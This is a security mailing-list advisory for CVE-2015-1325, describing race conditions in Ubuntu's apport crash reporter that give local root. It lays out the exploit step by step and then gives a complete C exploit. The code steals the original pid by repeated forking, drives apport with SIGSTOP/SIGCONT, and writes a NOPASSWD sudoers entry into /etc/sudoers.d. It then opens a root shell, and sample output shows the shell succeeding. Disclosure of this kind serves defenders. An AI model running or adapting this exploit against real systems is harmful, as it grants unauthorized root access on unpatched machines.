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Date: Thu, 21 May 2015 17:30:41 +0000 (GMT)
From: Philip Pettersson <p.pettersson@...sung.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2015-1325 apport race conditions / ubuntu local root
Hello, this is CVE-2015-1325 which was reported to the Ubuntu Security Team
on 2015-05-11.
There are several race conditions in the apport crash reporter, leading to a
reliable local root privilege escalation that affects all current LTS versions
of Ubuntu Server/Desktop (default install).
Apport is also available on other distributions but as far as I know it is
only in use by default on Ubuntu.
--- DETAILS
Apport is specified as the coredump handler (/proc/sys/kernel/core_pattern)
since at least Ubuntu 12.04.
When a process receives a signal that should generate a coredump,
/usr/share/apport/apport will be invoked by the kernel as root.
On line 284, apport "partially drops privileges":
drop_privileges(pid, True)
However, this has no real security benefit since the euid of the process will
still be root. In fact, this will make the second part of the attached exploit
more reliable because it allows us to send the privileged apport process
SIGSTOP/SIGCONT and hit the last race easily.
On line 394 apport opens a file in /var/crash:
with open(report, 'rb') as f:
report is the filename, which can be easily predicted. If a user with uid 1000
makes /bin/sleep crash, the filename will be: /var/crash/_bin_sleep.1000.crash
The directory /var/crash is world writable, so we can create a FIFO in this
directory before making our program crash. Apport will then try to read our
file and hang on line 394 until a report is written to the FIFO by us.
When apport is in this paused state, we can kill our original process and keep
forking until we get the same pid again. We then make this process execute
/bin/su which makes our original pid belong to a root process.
The drop_privileges() function on line 49 incorrectly uses the pid as the
indicator as to which uid we should drop privileges to:
def drop_privileges(pid, partial=False):
[...]
stat = os.stat('/proc/%s/stat' % pid)
[...]
effective_uid = stat.st_uid
[...]
os.setreuid(stat.st_uid, effective_uid)
We can therefore make apport "drop" privileges to uid 0 and write a corefile
anywhere on the system.
This can be used to write a corefile with crafted contents in a suitable
location to gain root privileges.
On versions since at least Ubuntu 14.04 it is possible to completely control
the contents of the written corefile. This allows easy and reliable
exploitation by leveraging /etc/sudoers.d.
--- EXPLOIT FLOW
1. Create a FIFO in /var/crash/_bin_sleep.$uid.crash.
2. fork(), chdir("/etc/sudoers.d"), execute /bin/sleep and send SIGSEGV
3. Send SIGKILL to the process in (2), fork() until we get the same pid
as the process we killed.
4. In our new process with the original pid, execute /bin/su.
5. Send valid report data to /var/crash/_bin_sleep.$uid.crash.
6. Core file is written to /etc/sudoers.d/core as root with mode 0600.
We could put this corefile in /etc/cron.hourly, /etc/logrotate.d and so on.
Additionally, on 14.04+ we can do this:
The partial privilege drop on line 284 allows us to send SIGSTOP to apport,
which gives us great control over the execution flow. On line 460 apport will
ultimately write the corefile contents by reading from the report file it just
created in /var/crash.
7. Keep sending SIGSTOP/SIGCONT until these lines have been executed:
404: os.unlink(report)
410: reportfile = os.fdopen(os.open(report, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0), 'wb')
8. Unlink /var/crash/_bin_sleep.$uid.crash
9. Create FIFO in /var/crash/_bin_sleep.$uid.crash
10. Write crafted contents to /var/crash/_bin_sleep.$uid.crash
11. Apport will read our FIFO at line 155 and create a corefile with our
crafted contents.
--- CREDIT
Philip Pettersson, Samsung SDS Security Center
--- EXPLOIT
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1325 / apport-pid-race.c
apport race conditions
ubuntu local root
tested on ubuntu server 14.04, 14.10, 15.04
core dropping bug also works on older versions, but you can't
write arbitrary contents. on 12.04 /etc/logrotate.d might work,
didn't check. sudo and cron will complain if you drop a real ELF
core file in sudoers.d/cron.d
unpriv@...ntu-1504:~$ gcc apport-race.c -o apport-race && ./apport-race
created /var/crash/_bin_sleep.1002.crash
crasher: my pid is 1308
apport stopped, pid = 1309
getting pid 1308
current pid = 1307..2500..5000..7500..10000........
** child: current pid = 1308
** child: executing /bin/su
Password: sleeping 2s..
checker: mode 4532
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..
checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
uid=0(root) gid=0(root) groups=0(root)
85ad63cf7248d7da46e55fa1b1c6fe01dea43749
2015-05-10
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>
char *crash_report = "ProblemType: Crash\nArchitecture: amd64\nCrashCounter: 0\nDate: Sat May 9 18:18:33 2015\nDistroRelease: Ubuntu 15.04\nExecutablePath: /bin/sleep\nExecutableTimestamp: 1415000653\nProcCmdline: sleep 1337\nProcCwd: /home/rebel\nProcEnviron:\n XDG_RUNTIME_DIR=<set>\nProcMaps:\n 00400000-00407000 r-xp 00000000 08:01 393307 /bin/sleep\nProcStatus:\n Name: sleep\nSignal: 11\nUname: Linux 3.19.0-15-generic x86_64\nUserGroups:\n_LogindSession: 23\nCoreDump: base64\n H4sICAAAAAAC/0NvcmVEdW1wAA==\n U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==\n";
/*
last line is the stuff we write to the corefile
c = zlib.compressobj(9,zlib.DEFLATED,-zlib.MAX_WBITS)
t = '# \x01\x02\x03\x04\n\n\nALL ALL=(ALL) NOPASSWD: ALL\n'
# need some non-ASCII bytes so it doesn't turn into a str()
# which makes apport fail with the following error:
# os.write(core_file, r['CoreDump'])
# TypeError: 'str' does not support the buffer interface
t = bytes(t,'latin1')
c.compress(t)
a = c.flush()
import base64
base64.b64encode(a)
# b'U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA=='
*/
int apport_pid;
char report[128];
void steal_pid(int wanted_pid)
{
int x, pid;
pid = getpid();
fprintf(stderr,"getting pid %d\n", wanted_pid);
fprintf(stderr,"current pid = %d..", pid);
for(x = 0; x < 500000; x++) {
pid = fork();
if(pid == 0) {
pid = getpid();
if(pid % 2500 == 0)
fprintf(stderr,"%d..", pid);
if(pid == wanted_pid) {
fprintf(stderr,"\n** child: current pid = %d\n", pid);
fprintf(stderr,"** child: executing /bin/su\n");
execl("/bin/su", "su", NULL);
}
exit(0);
return;
}
if(pid == wanted_pid)
return;
wait(NULL);
}
}
void checker(void)
{
struct stat s;
int fd, mode, x;
stat(report, &s);
fprintf(stderr,"\nchecker: mode %d\nwaiting for file to be unlinked..", s.st_mode);
mode = s.st_mode;
while(1) {
// poor man's pseudo-singlestepping
kill(apport_pid, SIGCONT);
kill(apport_pid, SIGSTOP);
// need to wait a bit for the signals to be handled,
// otherwise we'll miss when the new report file is created
for(x = 0; x < 100000; x++);
stat(report, &s);
if(s.st_mode != mode)
break;
}
fprintf(stderr,"\nchecker: new mode %d .. done\n", s.st_mode);
unlink(report);
mknod(report, S_IFIFO | 0666, 0);
fprintf(stderr,"checker: SIGCONT\n");
kill(apport_pid, SIGCONT);
fprintf(stderr,"checker: writing core\n");
fd = open(report, O_WRONLY);
write(fd, crash_report, strlen(crash_report));
close(fd);
fprintf(stderr,"checker: done\n");
while(1)
sleep(1);
}
void crasher()
{
chdir("/etc/sudoers.d");
fprintf(stderr,"crasher: my pid is %d\n", getpid());
execl("/bin/sleep", "sleep", "1337", NULL);
exit(0);
}
int main(void)
{
int pid, checker_pid, fd;
struct rlimit limits;
struct stat s;
limits.rlim_cur = RLIM_INFINITY;
limits.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &limits);
pid = fork();
if(pid == 0)
crasher();
sprintf(report, "/var/crash/_bin_sleep.%d.crash", getuid());
unlink(report);
mknod(report, S_IFIFO | 0666, 0);
fprintf(stderr,"created %s\n", report);
usleep(300000);
kill(pid, 11);
apport_pid = pid + 1;
// could check that pid+1 is actually apport here but it's
// kind of likely
fprintf(stderr,"apport stopped, pid = %d\n", apport_pid);
usleep(300000);
kill(pid, 9);
steal_pid(pid);
sleep(1);
kill(apport_pid, SIGSTOP);
checker_pid = fork();
if(checker_pid == 0) {
checker();
exit(0);
}
fprintf(stderr,"sleeping 2s..\n");
sleep(2);
fprintf(stderr,"writing to fifo\n");
fd = open(report, O_WRONLY);
write(fd, crash_report, strlen(crash_report));
close(fd);
fprintf(stderr,"fifo written.. wait...\n");
fprintf(stderr,"waiting for /etc/sudoers.d/core to appear..\n");
while(1) {
stat("/etc/sudoers.d/core", &s);
if(s.st_size == 37)
break;
usleep(100000);
}
fprintf(stderr,"success\n");
kill(pid, 9);
kill(checker_pid, 9);
return system("sudo -- sh -c 'stty echo;sh -i'");
}
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